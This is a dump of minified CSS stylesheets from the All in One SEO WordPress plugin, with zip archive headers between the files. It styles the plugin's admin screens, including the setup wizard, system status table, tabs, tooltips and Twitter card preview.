.use-same>.aioseo-settings-row{flex-direction:column;max-width:570px;gap:4px;flex-wrap:nowrap}[dir=ltr] .aioseo-social-profiles .same-username .use-same>.aioseo-settings-row{margin:16px 0 0 24px}[dir=rtl] .aioseo-social-profiles .same-username .use-same>.aioseo-settings-row{margin:16px 24px 0 0}.aioseo-social-profiles .same-username .use-same>.aioseo-settings-row .aioseo-input-container{max-width:470px}.aioseo-social-profiles .same-username .use-same .profiles{margin-top:12px;--aioseo-gutter: 12px;--total-gap-width: calc(3 * var(--aioseo-gutter));--aioseo-col-max-width: calc((100% - var(--total-gap-width)) / 4);display:grid;gap:var(--aioseo-gutter);grid-template-columns:repeat(auto-fill,minmax(max(130px,var(--aioseo-col-max-width)),1fr))}.aioseo-social-profiles .same-username .use-same .profiles>*{max-width:none}.aioseo-social-profiles .same-username .use-same .profiles .aioseo-col{max-width:none}.aioseo-social-profiles .aioseo-social-profile-list{margin-top:20px;display:flex;flex-direction:column;gap:12px}.aioseo-social-profiles .aioseo-social-profile-list .social-profile{margin-bottom:0;padding-bottom:0;border-bottom:none;gap:8px}.aioseo-social-profiles .aioseo-social-profile-list .social-profile>.col-md-9:last-child{max-width:none}[dir=ltr] .aioseo-social-profiles .aioseo-social-profile-list .social-profile .logo-svg{margin-right:12px}[dir=rtl] .aioseo-social-profiles .aioseo-social-profile-list .social-profile .logo-svg{margin-left:12px}.aioseo-social-profiles .aioseo-social-profile-list .social-profile .profile-error{margin-top:10px}.aioseo-social-profiles .aioseo-social-profile-list .social-profile .name{margin-bottom:0}.aioseo-social-profiles .additional-social-profiles{margin-top:var(--aioseo-gutter);padding-top:var(--aioseo-gutter);border-top:1px solid #E8E8EB;gap:8px}.aioseo-social-profiles .additional-social-profiles>.col-md-9:last-child{max-width:none} PKÉ—[íS ¹gg;all-in-one-seo-pack/dist/Lite/assets/css/Steps.DIeJuvzS.cssnu„[µü¤.aioseo-wizard-steps{color:#8c8f9a;font-size:16px;font-weight:600;line-height:24px;margin-bottom:16px} PKÉ—[$ÛxAã ã =all-in-one-seo-pack/dist/Lite/assets/css/Success.OYvAsfkV.cssnu„[µü¤.aioseo-wizard-success{color:#141b38;padding-bottom:40px}.aioseo-wizard-success .actions>div{display:flex;align-items:center}.aioseo-wizard-success .actions>div:not(.no-border){border-bottom:1px solid #E8E8EB;padding-bottom:24px;margin-bottom:24px}.aioseo-wizard-success .actions>div .icon{min-width:24px}[dir=ltr] .aioseo-wizard-success .actions>div .icon{margin-right:16px}[dir=rtl] .aioseo-wizard-success .actions>div .icon{margin-left:16px}.aioseo-wizard-success .actions>div .icon svg{width:24px;height:24px}.aioseo-wizard-success .actions>div .content{font-weight:700;font-size:14px;color:#141b38;flex:1}.aioseo-wizard-success .actions>div .content .social-button{color:#fff}[dir=ltr] .aioseo-wizard-success .actions>div .content .social-button{margin:10px 10px 0 0}[dir=rtl] .aioseo-wizard-success .actions>div .content .social-button{margin:10px 0 0 10px}.aioseo-wizard-success .actions>div .content .social-button svg{width:14px;height:14px}[dir=ltr] .aioseo-wizard-success .actions>div .content .social-button svg{margin-right:10px}[dir=rtl] .aioseo-wizard-success .actions>div .content .social-button svg{margin-left:10px}.aioseo-wizard-success .actions>div .content .social-button.facebook{background-color:#4064ac}.aioseo-wizard-success .actions>div .content .social-button.twitter{background-color:#1da1f2}.aioseo-wizard-success .actions>div .content .social-button.youtube{background-color:#d63e22}.aioseo-wizard-success .actions>div:last-child{border-bottom:none;padding-bottom:0;margin-bottom:0}.aioseo-wizard-success .aioseo-settings-row:last-child{border-bottom:none;margin-bottom:0}.aioseo-wizard-success .aioseo-settings-row.feature-grid .settings-name .name{font-size:18px}.aioseo-wizard-success .aioseo-settings-row.feature-grid .aioseo-col{display:flex;align-items:center}.aioseo-wizard-success .go-back a{color:#434960;font-size:14px}.aioseo-wizard-success .cta{margin:0 20px 40px;padding:20px;border:1px solid #E8E8EB;text-align:center}.aioseo-wizard-success .cta .content{flex-direction:column;display:flex;align-items:center;justify-content:center}.aioseo-wizard-success .cta .content .cta-header{font-size:24px;font-weight:700;margin-bottom:24px;margin-top:20px}.aioseo-wizard-success .cta .content .cta-description{line-height:1.4;max-width:630px;margin-bottom:55px}.aioseo-wizard-success .cta .content .aioseo-alert{width:100%}.aioseo-wizard-success .cta .content .feature-list{color:#141b38;font-size:16px;width:100%;max-width:600px;margin-bottom:50px}.aioseo-wizard-success .cta .content .feature-list .aioseo-col{display:flex;align-items:flex-start;margin:2px 0}.aioseo-wizard-success .cta .content .feature-list .aioseo-col svg.aioseo-circle-check{color:#00aa63;width:18px;min-width:18px;min-height:18px}[dir=ltr] .aioseo-wizard-success .cta .content .feature-list .aioseo-col svg.aioseo-circle-check{margin-right:10px}[dir=rtl] .aioseo-wizard-success .cta .content .feature-list .aioseo-col svg.aioseo-circle-check{margin-left:10px}.aioseo-wizard-success .cta .bonus-alert{margin:24px auto;max-width:650px} PKÉ—[ùçRÅB B Ball-in-one-seo-pack/dist/Lite/assets/css/SystemStatus.BNQD40vL.cssnu„[µü¤.aioseo-tools-system-status-info .actions{margin-bottom:var(--aioseo-gutter)}[dir=ltr] .aioseo-tools-system-status-info .actions .left .aioseo-button{margin-right:16px}[dir=rtl] .aioseo-tools-system-status-info .actions .left .aioseo-button{margin-left:16px}.aioseo-tools-system-status-info .actions .left .aioseo-button svg{width:14px;height:14px}[dir=ltr] .aioseo-tools-system-status-info .actions .left .aioseo-button svg{margin-right:5px}[dir=rtl] .aioseo-tools-system-status-info .actions .left .aioseo-button svg{margin-left:5px}.aioseo-tools-system-status-info .actions .right,.aioseo-tools-system-status-info .actions .right .aioseo-input{display:flex;justify-content:flex-end}.aioseo-tools-system-status-info .actions .right .aioseo-input input{max-width:230px}[dir=ltr] .aioseo-tools-system-status-info .actions .right .aioseo-input input{margin-right:10px}[dir=rtl] .aioseo-tools-system-status-info .actions .right .aioseo-input input{margin-left:10px}.aioseo-tools-system-status-info .settings-name .name{font-size:16px;line-height:24px}.aioseo-tools-system-status-info .system-status-table{border:1px solid #D0D1D7;font-size:14px;border-radius:3px}.aioseo-tools-system-status-info .system-status-table .aioseo-table-row{min-height:38px;padding:0 15px}.aioseo-tools-system-status-info .system-status-table .aioseo-table-row:first-child{border-radius:3px 3px 0 0}.aioseo-tools-system-status-info .system-status-table .aioseo-table-row:last-child{border-radius:0 0 3px 3px}.aioseo-tools-system-status-info .system-status-table .aioseo-table-row.even{background-color:#f9f9fa}.aioseo-tools-system-status-info .system-status-table .aioseo-table-row .aioseo-table-column.system-status-header{max-width:250px;font-weight:600}[dir=ltr] .aioseo-tools-system-status-info .system-status-table .aioseo-table-row .aioseo-table-column.system-status-header{margin-right:30px;text-align:right}[dir=rtl] .aioseo-tools-system-status-info .system-status-table .aioseo-table-row .aioseo-table-column.system-status-header{margin-left:30px;text-align:left}.aioseo-tools-system-status-info .aioseo-settings-row .settings-group--database .settings-content{overflow:auto;max-height:500px}.aioseo-tools-system-status-info .aioseo-settings-row .settings-group--database .settings-content .system-status-header>span{white-space:nowrap;overflow:hidden;text-overflow:ellipsis}[dir=ltr] .aioseo-tools-system-status-info .aioseo-settings-row .settings-group--database .settings-content .system-status-header>span{direction:rtl}[dir=rtl] .aioseo-tools-system-status-info .aioseo-settings-row .settings-group--database .settings-content .system-status-header>span{direction:ltr}.aioseo-tools-system-status-info .aioseo-settings-row .settings-group .settings-content{margin-top:16px}.aioseo-tools-system-status-info .aioseo-settings-row .settings-group:not(:first-child){margin-top:var(--aioseo-gutter)} PKÉ—[B“è´´;all-in-one-seo-pack/dist/Lite/assets/css/Table.CH7puFu1.cssnu„[µü¤.aioseo-app .aioseo-wp-table .aioseo-wp-additional-filters{margin:0 0 9px}[dir=ltr] .aioseo-wp-bulk-actions select{margin-left:0}[dir=rtl] .aioseo-wp-bulk-actions select{margin-right:0}.aioseo-wp-items-per-page label{display:flex;align-items:center}[dir=ltr] .aioseo-wp-items-per-page select{margin-right:5px}[dir=rtl] .aioseo-wp-items-per-page select{margin-left:5px}.aioseo-manage-column .aioseo-table-header-tooltip-icon{display:flex;justify-content:center}.aioseo-manage-column .aioseo-table-header-tooltip-icon .aioseo-tooltip{margin:0}.aioseo-wp-table select,.aioseo-wp-table input[type=search]{border-color:#d0d1d7}.aioseo-wp-table select:focus{border-color:#005ae0;color:#005ae0;box-shadow:0 0 0 1px #005ae0}.aioseo-wp-table select:hover{color:#005ae0}.aioseo-wp-table input.button{color:#005ae0;border-color:#005ae0}.aioseo-wp-table input.button:hover{border-color:#005ae0;color:#005ae0}.aioseo-wp-table .aioseo-wp-table-header{display:grid;grid-template-columns:1fr 1fr;align-items:start;gap:8px}.aioseo-wp-table .aioseo-wp-table-header .subsubsub{grid-column:1;grid-row:1;float:none;display:inline-block;color:#555d66;font-size:14px;line-height:18px;font-weight:600;margin:0}.aioseo-wp-table .aioseo-wp-table-header .subsubsub:empty{display:none!important}.aioseo-wp-table .aioseo-wp-table-header .subsubsub li>span{display:inline-flex}.aioseo-wp-table .aioseo-wp-table-header .subsubsub .separator{margin:0 8px;cursor:default}.aioseo-wp-table .aioseo-wp-table-header .subsubsub .active{-webkit-text-stroke-width:.2px;-webkit-text-stroke-color:#141B38;color:#141b38}.aioseo-wp-table .aioseo-wp-table-header .subsubsub a{text-decoration:none;display:inline-flex;padding:0;line-height:18px}.aioseo-wp-table .aioseo-wp-table-header .subsubsub a span{color:#555d66}.aioseo-wp-table .aioseo-wp-table-header .subsubsub a:hover{text-decoration:underline}.aioseo-wp-table .aioseo-wp-table-header .search-box{grid-column:2;grid-row:1;justify-self:end;display:flex;gap:8px}.aioseo-wp-table .aioseo-wp-table-header .search-box>*{margin:0}.aioseo-wp-table .aioseo-wp-table-header .search{display:flex;justify-content:flex-end}.aioseo-wp-table .aioseo-wp-table-header .search .aioseo-input{width:100%;max-width:215px}[dir=ltr] .aioseo-wp-table .aioseo-wp-table-header .search .aioseo-input{margin-right:6px}[dir=rtl] .aioseo-wp-table .aioseo-wp-table-header .search .aioseo-input{margin-left:6px}.aioseo-wp-table .aioseo-wp-table-header .tablenav.top{grid-column:1/3;grid-row:2;justify-self:end}.aioseo-wp-table .aioseo-wp-table-header .tablenav.top>*{margin:0}@media screen and (max-width: 782px){.aioseo-wp-table .aioseo-wp-table-header{display:flex;flex-wrap:wrap;justify-content:center;gap:16px}.aioseo-wp-table .aioseo-wp-table-header .search-box{position:unset;width:auto;height:auto;margin-bottom:0}}.aioseo-wp-table .aioseo-wp-table-header .pagination,.aioseo-wp-table .bottom .pagination{color:#555d66}[dir=ltr] .aioseo-wp-table .aioseo-wp-table-header .pagination input,[dir=ltr] .aioseo-wp-table .bottom .pagination input{margin-left:4px}[dir=rtl] .aioseo-wp-table .aioseo-wp-table-header .pagination input,[dir=rtl] .aioseo-wp-table .bottom .pagination input{margin-right:4px}[dir=ltr] .aioseo-wp-table .aioseo-wp-table-header .pagination .tablenav-pages-navspan.button,[dir=ltr] .aioseo-wp-table .bottom .pagination .tablenav-pages-navspan.button{margin-left:4px}[dir=rtl] .aioseo-wp-table .aioseo-wp-table-header .pagination .tablenav-pages-navspan.button,[dir=rtl] .aioseo-wp-table .bottom .pagination .tablenav-pages-navspan.button{margin-right:4px}.aioseo-wp-table .aioseo-wp-table-header button,.aioseo-wp-table .aioseo-wp-table-header input,.aioseo-wp-table .bottom button,.aioseo-wp-table .bottom input{font-size:14px;line-height:22px}.aioseo-wp-table .aioseo-wp-table-header button.button,.aioseo-wp-table .aioseo-wp-table-header input.button,.aioseo-wp-table .bottom button.button,.aioseo-wp-table .bottom input.button{min-height:30px;padding:0 14px}.aioseo-wp-table .tablenav{height:auto;margin:0;padding:0;width:100%}.aioseo-wp-table .tablenav.top{margin-bottom:12px}.aioseo-wp-table .tablenav.bottom{margin-top:12px}.aioseo-wp-table .tablenav .tablenav-paging-text{font-size:13px;line-height:1.5}[dir=ltr] .aioseo-wp-table .tablenav .actions{padding-right:12px}[dir=rtl] .aioseo-wp-table .tablenav .actions{padding-left:12px}[dir=ltr] .aioseo-wp-table .tablenav .actions select{margin-right:8px}[dir=rtl] .aioseo-wp-table .tablenav .actions select{margin-left:8px}[dir=ltr] .aioseo-wp-table .tablenav-pages .current-page{padding:0 0 0 4px}[dir=rtl] .aioseo-wp-table .tablenav-pages .current-page{padding:0 4px 0 0}[dir=ltr] .aioseo-wp-table .tablenav-pages .pagination-links a{margin-left:4px}[dir=rtl] .aioseo-wp-table .tablenav-pages .pagination-links a{margin-right:4px}.aioseo-wp-table tr .aioseo-wp-table{padding:0 16px 16px}.aioseo-wp-table tr .aioseo-wp-table .wp-table{border:1px solid #D0D1D7}[dir=ltr] .aioseo-wp-table tr .aioseo-wp-table .wp-table{box-shadow:1px 1px 1px #0000000a}[dir=rtl] .aioseo-wp-table tr .aioseo-wp-table .wp-table{box-shadow:-1px 1px 1px #0000000a}.aioseo-wp-table tr .aioseo-wp-table .aioseo-wp-table-header{row-gap:16px}.aioseo-wp-table tr .aioseo-wp-table .tablenav.top{margin-bottom:16px}.aioseo-wp-table .wp-table{width:100%;position:relative}.aioseo-wp-table .wp-table table.blurred tbody tr{filter:blur(2px);pointer-events:none;-webkit-user-select:none;user-select:none}.aioseo-wp-table .wp-table tbody{position:relative}[dir=ltr] .aioseo-wp-table .wp-table thead td.check-column,[dir=ltr] .aioseo-wp-table .wp-table tfoot td.check-column{padding:4px 0 0 3px}[dir=rtl] .aioseo-wp-table .wp-table thead td.check-column,[dir=rtl] .aioseo-wp-table .wp-table tfoot td.check-column{padding:4px 3px 0 0}.aioseo-wp-table .wp-table .loader-overlay-table,.aioseo-wp-table .wp-table .loader-overlay-row{position:absolute;width:100%;background:#0000004d;z-index:1;display:flex;align-items:center;justify-content:center}.aioseo-wp-table .wp-table .loader-overlay-table{height:100%}.aioseo-wp-table .wp-table .aioseo-manage-column.manage-column.loader{padding:0;width:0}.aioseo-wp-table .wp-table .no-results{color:#8c8f9a;min-height:200px;display:flex;align-items:center;justify-content:center;font-weight:400;font-size:16px}.aioseo-wp-table .wp-table tr{position:relative}.aioseo-wp-table .wp-table tr .post-title>a,.aioseo-wp-table .wp-table tr .post_title>strong a{font-weight:600;color:#141b38}.aioseo-wp-table .wp-table tr .post-title>a:hover,.aioseo-wp-table .wp-table tr .post_title>strong a:hover{color:#005ae0}.aioseo-wp-table .wp-table tr .post_title .aioseo-tooltip a{font-weight:400;color:#005ae0}.aioseo-wp-table .wp-table tr.even{background-color:#f9f9fa}.aioseo-wp-table .wp-table tr.enabled>td{color:#141b38}.aioseo-wp-table .wp-table tr.enabled>td strong a{color:#141b38;font-weight:600}.aioseo-wp-table .wp-table tr:not(.enabled):not(.edit-row)>td{color:#8c8f9a}.aioseo-wp-table .wp-table tr:not(.enabled):not(.edit-row)>td a.edit-link{color:#8c8f9a}[dir=ltr] .aioseo-wp-table .wp-table tr.edit-row>th{padding:0 0 0 3px}[dir=rtl] .aioseo-wp-table .wp-table tr.edit-row>th{padding:0 3px 0 0}.aioseo-wp-table .wp-table tr.edit-row>td{padding:0 15px}.aioseo-wp-table .wp-table tr td strong a{font-weight:400}.aioseo-wp-table .wp-table tr td strong a:hover{color:#005ae0}[dir=ltr] .aioseo-wp-table .wp-table tr td.check-column{padding:11px 0 11px 3px}[dir=rtl] .aioseo-wp-table .wp-table tr td.check-column{padding:11px 3px 11px 0}.aioseo-wp-table .wp-table tr td .row-actions .edit a{color:#005ae0}.aioseo-wp-table .wp-table tr td .row-actions .edit .trash a{color:#df2a4a}.aioseo-wp-table .wp-table tr td.edit-row-content .wrapper .border{margin-top:4px;padding:19px 0 20px;border-top:1px solid #E8E8EB}#aioseo-settings .aioseo-wp-table .tablenav-pages-navspan.button{vertical-align:middle} PKÉ—[o,}ü>>:all-in-one-seo-pack/dist/Lite/assets/css/Tabs.DLRSDeIF.cssnu„[µü¤.aioseo-app .var-tab{display:flex;justify-content:center;align-items:center;flex:1 0 auto;padding:0 var(--tab-padding);font-size:var(--tab-font-size);cursor:pointer;-webkit-user-select:none;user-select:none;-webkit-tap-highlight-color:rgba(0,0,0,0)}.aioseo-app .var-tab--active{color:var(--tab-active-color)}.aioseo-app .var-tab--inactive{color:var(--tab-inactive-color)}.aioseo-app .var-tab--disabled{color:var(--tab-disabled-color);cursor:not-allowed}.aioseo-app .var-tab--horizontal{flex-direction:row}.aioseo-app .var-tab--vertical{flex-direction:column}.aioseo-app .var-tabs{border-radius:var(--tabs-radius);background:var(--tabs-background);overflow:hidden;transition:background-color .25s}.aioseo-app .var-tabs__tab-wrap{position:relative;display:flex;height:100%}.aioseo-app .var-tabs__indicator{display:flex;justify-content:center;align-items:center;position:absolute;z-index:1;transition-property:width,transform;transition-duration:.3s}.aioseo-app .var-tabs__indicator-inner{background:var(--tabs-indicator-background)}.aioseo-app .var-tabs--layout-horizontal{flex-direction:row}.aioseo-app .var-tabs--layout-horizontal-scrollable{overflow-x:auto;overflow-y:hidden}.aioseo-app .var-tabs--layout-horizontal-scrollable::-webkit-scrollbar{display:none}.aioseo-app .var-tabs--layout-horizontal-padding{padding:0 var(--tabs-padding)}.aioseo-app .var-tabs--layout-horizontal-indicator{bottom:0;height:var(--tabs-indicator-size)}[dir=ltr] .aioseo-app .var-tabs--layout-horizontal-indicator{left:0}[dir=rtl] .aioseo-app .var-tabs--layout-horizontal-indicator{right:0}.aioseo-app .var-tabs--layout-horizontal-reverse-indicator{top:0;height:var(--tabs-indicator-size)}[dir=ltr] .aioseo-app .var-tabs--layout-horizontal-reverse-indicator{left:0}[dir=rtl] .aioseo-app .var-tabs--layout-horizontal-reverse-indicator{right:0}.aioseo-app .var-tabs--layout-horizontal-indicator-inner{width:var(--tabs-indicator-inner-size);height:100%}.aioseo-app .var-tabs--layout-vertical{flex-direction:column}.aioseo-app .var-tabs--layout-vertical-scrollable{overflow-x:hidden;overflow-y:auto}.aioseo-app .var-tabs--layout-vertical-scrollable::-webkit-scrollbar{display:none}.aioseo-app .var-tabs--layout-vertical-padding{padding:0}.aioseo-app .var-tabs--layout-vertical-indicator{top:0;width:var(--tabs-indicator-size)}[dir=ltr] .aioseo-app .var-tabs--layout-vertical-indicator{left:0}[dir=rtl] .aioseo-app .var-tabs--layout-vertical-indicator{right:0}.aioseo-app .var-tabs--layout-vertical-reverse-indicator{top:0;width:var(--tabs-indicator-size)}[dir=ltr] .aioseo-app .var-tabs--layout-vertical-reverse-indicator{right:0}[dir=rtl] .aioseo-app .var-tabs--layout-vertical-reverse-indicator{left:0}.aioseo-app .var-tabs--layout-vertical-indicator-inner{width:100%;height:var(--tabs-indicator-inner-size)}.aioseo-app .var-tabs--item-horizontal{height:var(--tabs-item-horizontal-height)}.aioseo-app .var-tabs--item-vertical{height:var(--tabs-item-vertical-height)}.aioseo-app .var-tabs--fixed-bottom{position:fixed;width:100%;bottom:0;z-index:99}[dir=ltr] .aioseo-app .var-tabs--fixed-bottom{left:0}[dir=rtl] .aioseo-app .var-tabs--fixed-bottom{right:0}.aioseo-app .var-tabs--safe-area{padding-bottom:constant(safe-area-inset-bottom);padding-bottom:env(safe-area-inset-bottom);box-sizing:content-box!important}.aioseo-app .aioseo-tabs{display:flex;align-items:center;--tabs-item-horizontal-height: 52px;--tabs-item-vertical-height: 66px;--tabs-radius: 2px;--tabs-padding: 0;--tabs-indicator-size: 2px;--tabs-indicator-background: #005AE0;--tabs-background: none;--tabs-indicator-inner-size: 100%;--color-text-disabled: #8c8f9a;--tab-padding: 18px;--tab-active-color: #005AE0;--tab-inactive-color: #141B38;--tab-disabled-color: var(--color-text-disabled);--tab-font-size: 14px;--tab-line-height: 22px}.aioseo-app .aioseo-tabs.internal{--tab-padding: 25px;margin-bottom:0}.aioseo-app .aioseo-tabs.skinny{--tab-padding: 16px}.aioseo-app .var-tabs{margin-bottom:-2px}.aioseo-app .var-tabs .var-tab{font-weight:600;white-space:pre;position:relative;overflow:hidden}.aioseo-app .var-tabs .var-tab span.ripple{position:absolute;border-radius:50%;transform:scale(0);animation:aioseo-ripple .6s linear;background-color:#0000004d}@keyframes aioseo-ripple{to{transform:scale(3);opacity:0}}.aioseo-app .aioseo-tabs{display:flex;border-bottom:2px solid #E8E8EB;position:relative;margin-bottom:var(--aioseo-gutter)}.aioseo-app .aioseo-tabs .button-right,.aioseo-app .aioseo-tabs .tabs-extra{position:absolute}[dir=ltr] .aioseo-app .aioseo-tabs .button-right,[dir=ltr] .aioseo-app .aioseo-tabs .tabs-extra{right:0}[dir=rtl] .aioseo-app .aioseo-tabs .button-right,[dir=rtl] .aioseo-app .aioseo-tabs .tabs-extra{left:0}.aioseo-app .aioseo-tabs .tab-score{display:inline-flex;font-weight:700;line-height:normal;font-size:12px}[dir=ltr] .aioseo-app .aioseo-tabs .tab-score{padding-left:12px}[dir=rtl] .aioseo-app .aioseo-tabs .tab-score{padding-right:12px}.aioseo-app .aioseo-tabs .tab-score.green{color:#00aa63}.aioseo-app .aioseo-tabs .tab-score.orange{color:#f18200}.aioseo-app .aioseo-tabs .tab-score.red{color:#df2a4a}.aioseo-app .aioseo-tabs .tab-score svg{display:inline}[dir=ltr] .aioseo-app .aioseo-tabs .tab-score svg{margin-right:4px}[dir=rtl] .aioseo-app .aioseo-tabs .tab-score svg{margin-left:4px}.aioseo-app .aioseo-tabs .warning{color:#f18200!important}.aioseo-app .aioseo-tabs .warning svg{position:relative;top:2px;display:inline;color:#f18200!important}[dir=ltr] .aioseo-app .aioseo-tabs .warning svg{left:5px}[dir=rtl] .aioseo-app .aioseo-tabs .warning svg{right:5px}.aioseo-app .aioseo-mobile-tabs{--mobile-font-size: 14px;height:40px;margin-top:20px;position:relative;-webkit-user-select:none;user-select:none;width:100%}.aioseo-app .aioseo-mobile-tabs .active-tab{--spacing-x: 20px;align-items:center;color:#005ae0;cursor:pointer;display:inline-flex;min-height:100%;position:relative}[dir=ltr] .aioseo-app .aioseo-mobile-tabs .active-tab{padding-left:var(--spacing-x)}[dir=rtl] .aioseo-app .aioseo-mobile-tabs .active-tab{padding-right:var(--spacing-x)}.aioseo-app .aioseo-mobile-tabs .active-tab div{font-size:var(--mobile-font-size)}.aioseo-app .aioseo-mobile-tabs .active-tab div span{background-color:#005ae0;bottom:-2px;height:2px;position:absolute;z-index:10}[dir=ltr] .aioseo-app .aioseo-mobile-tabs .active-tab div span{left:0;right:calc(var(--spacing-x) * -2)}[dir=rtl] .aioseo-app .aioseo-mobile-tabs .active-tab div span{right:0;left:calc(var(--spacing-x) * -2)}.aioseo-app .aioseo-mobile-tabs .active-tab svg.aioseo-caret{--caret-size: 24px;height:var(--caret-size);position:absolute;top:calc(50% - var(--caret-size) / 2);transition:transform .3s;width:var(--caret-size)}[dir=ltr] .aioseo-app .aioseo-mobile-tabs .active-tab svg.aioseo-caret{left:100%;transform:rotate(180deg)}[dir=rtl] .aioseo-app .aioseo-mobile-tabs .active-tab svg.aioseo-caret{right:100%;transform:rotate(-180deg)}.aioseo-app .aioseo-mobile-tabs .active-tab svg.aioseo-caret.rotated{transform:rotate(0)}.aioseo-app .aioseo-mobile-tabs .tab-dropdown{border:1px solid #E8E8EB;border-top:none}.aioseo-app .aioseo-mobile-tabs .tab-links{background:#fff;position:relative;z-index:3;padding:8px;width:100%;max-width:300px}@media screen and (max-width: 782px){.aioseo-app .aioseo-mobile-tabs .tab-links{max-width:100%}}.aioseo-app .aioseo-mobile-tabs .tab-links a{font-size:var(--mobile-font-size);padding:10px;display:block;color:#141b38;text-decoration:none}.aioseo-app .aioseo-mobile-tabs .tab-links a:hover{color:#005ae0} PKÉ—[}¨ëw==@all-in-one-seo-pack/dist/Lite/assets/css/Taxonomies.DmVln-94.cssnu„[µü¤.aioseo-search-appearance-taxonomies .icon{display:flex;align-items:center}[dir=ltr] .aioseo-search-appearance-taxonomies .icon{margin-right:16px}[dir=rtl] .aioseo-search-appearance-taxonomies .icon{margin-left:16px}.aioseo-search-appearance-taxonomies .aioseo-description ul:not([role=listbox]){list-style:initial;list-style-position:inside;margin:0}[dir=ltr] .aioseo-search-appearance-taxonomies .aioseo-description ul:not([role=listbox]) li{padding-left:5px}[dir=rtl] .aioseo-search-appearance-taxonomies .aioseo-description ul:not([role=listbox]) li{padding-right:5px} PKÉ—[!KÍ⃃>all-in-one-seo-pack/dist/Lite/assets/css/Textarea.B3aJQi7q.cssnu„[µü¤.aioseo-textarea-autosize{width:100%;background-color:#fff;border:1px solid #D0D1D7;border-radius:4px;font-size:14px;padding:12px} PKÉ—[õè955Fall-in-one-seo-pack/dist/Lite/assets/css/TitleDescription.c-XkN2H0.cssnu„[µü¤.aioseo-sa-ct-advanced .inline-upsell{display:inline-flex;margin-top:12px}.aioseo-sa-ct-advanced .other-options{margin-top:10px}.aioseo-sa-ct-advanced .other-options:first-child{margin-top:0}.aioseo-sa-ct-title-description .aioseo-google-search-preview[data-v-720a9d0c]{border:1px solid #E8E8EB;padding:16px} PKÉ—[bGñHëë=all-in-one-seo-pack/dist/Lite/assets/css/Tooltip.DhegAtZB.cssnu„[µü¤.popper{width:auto;background-color:#fafafa;color:#212121;text-align:center;padding:2px;display:inline-block;border-radius:3px;position:absolute;font-size:14px;font-weight:400;border:1px #ebebeb solid;z-index:200000;-moz-box-shadow:rgb(58,58,58) 0 0 6px 0;-webkit-box-shadow:rgb(58,58,58) 0 0 6px 0;box-shadow:#3a3a3a 0 0 6px}.popper .popper__arrow{width:0;height:0;border-style:solid;position:absolute;margin:5px}.popper[x-placement^=top]{margin-bottom:5px}.popper[x-placement^=top] .popper__arrow{border-width:5px 5px 0 5px;border-color:#fafafa transparent transparent transparent;bottom:-5px;margin-top:0;margin-bottom:0}[dir=ltr] .popper[x-placement^=top] .popper__arrow{left:calc(50% - 5px)}[dir=rtl] .popper[x-placement^=top] .popper__arrow{right:calc(50% - 5px)}.popper[x-placement^=bottom]{margin-top:5px}.popper[x-placement^=bottom] .popper__arrow{border-width:0 5px 5px 5px;border-color:transparent transparent #fafafa transparent;top:-5px;margin-top:0;margin-bottom:0}[dir=ltr] .popper[x-placement^=bottom] .popper__arrow{left:calc(50% - 5px)}[dir=rtl] .popper[x-placement^=bottom] .popper__arrow{right:calc(50% - 5px)}[dir=ltr] .popper[x-placement^=right]{margin-left:5px}[dir=rtl] .popper[x-placement^=right]{margin-right:5px}.popper[x-placement^=right] .popper__arrow{top:calc(50% - 5px);margin-left:0;margin-right:0}[dir=ltr] .popper[x-placement^=right] .popper__arrow{border-width:5px 5px 5px 0;border-color:transparent #fafafa transparent transparent;left:-5px}[dir=rtl] .popper[x-placement^=right] .popper__arrow{border-width:5px 0 5px 5px;border-color:transparent transparent transparent #fafafa;right:-5px}[dir=ltr] .popper[x-placement^=left]{margin-right:5px}[dir=rtl] .popper[x-placement^=left]{margin-left:5px}.popper[x-placement^=left] .popper__arrow{top:calc(50% - 5px);margin-left:0;margin-right:0}[dir=ltr] .popper[x-placement^=left] .popper__arrow{border-width:5px 0 5px 5px;border-color:transparent transparent transparent #fafafa;right:-5px}[dir=rtl] .popper[x-placement^=left] .popper__arrow{border-width:5px 5px 5px 0;border-color:transparent #fafafa transparent transparent;left:-5px}.aioseo-tooltip{display:inline-flex;align-items:center;justify-content:center}[dir=ltr] .aioseo-tooltip{margin-left:12px}[dir=rtl] .aioseo-tooltip{margin-right:12px} PKÉ—[oUŸ-{{=all-in-one-seo-pack/dist/Lite/assets/css/Twitter.BDmv6m2-.cssnu„[µü¤.aioseo-twitter .inline-upsell{display:inline-flex;margin-top:12px}.aioseo-twitter .twitter-image img{margin-top:20px;width:auto;max-width:525px;max-height:525px;height:auto}.aioseo-twitter .twitter-image.vertical img{max-width:158px;max-height:158px}.aioseo-twitter .twitter-default-image-source .aioseo-select,.aioseo-twitter .default-card-type .aioseo-select{max-width:445px} PKÉ—[s¤½îîDall-in-one-seo-pack/dist/Lite/assets/css/TwitterPreview.CDpsvIV5.cssnu„[µü¤.aioseo-twitter-preview[data-v-3ab503eb]{--primary-text: #0f1419;--secondary-text: #536471;--tertiary-text: #cfd9de;align-items:center;background-color:#f0f2f5;display:flex;justify-content:center;padding:20px}.aioseo-twitter-preview .twitter-post[data-v-3ab503eb]{background-color:#fff;border-radius:16px;border:1px solid #E8E8EB;max-width:500px;width:100%}.aioseo-twitter-preview .twitter-post .twitter-header[data-v-3ab503eb]{height:65px;padding:0 18px;display:flex;align-items:center}.aioseo-twitter-preview .twitter-post .twitter-header .profile-photo[data-v-3ab503eb]{overflow:hidden;width:40px;height:40px;border:1px solid #E8E8EB;border-radius:50%}.aioseo-twitter-preview .twitter-post .twitter-header .profile-photo svg[data-v-3ab503eb]{height:100%;width:100%}.aioseo-twitter-preview .twitter-post .twitter-header .poster[data-v-3ab503eb]{flex:1 0 auto}[dir=ltr] .aioseo-twitter-preview .twitter-post .twitter-header .poster[data-v-3ab503eb]{margin-left:10px}[dir=rtl] .aioseo-twitter-preview .twitter-post .twitter-header .poster[data-v-3ab503eb]{margin-right:10px}.aioseo-twitter-preview .twitter-post .twitter-header .poster .poster-name[data-v-3ab503eb]{font-size:15px;color:var(--primary-text);font-weight:600}.aioseo-twitter-preview .twitter-post .twitter-header .poster .poster-username[data-v-3ab503eb]{color:var(--secondary-text);font-weight:500;font-size:13px}.aioseo-twitter-preview .twitter-post .twitter-container[data-v-3ab503eb]{margin-bottom:0;padding:0 20px 20px}.aioseo-twitter-preview .twitter-post .twitter-container.summary .twitter-content[data-v-3ab503eb]{flex-direction:row}.aioseo-twitter-preview .twitter-post .twitter-container.summary .twitter-content .twitter-image-preview[data-v-3ab503eb]{align-items:center;background-color:#f7f9f9;background-position:center center;background-repeat:no-repeat;background-size:cover;display:flex;justify-content:center;min-height:127px;min-width:127px}[dir=ltr] 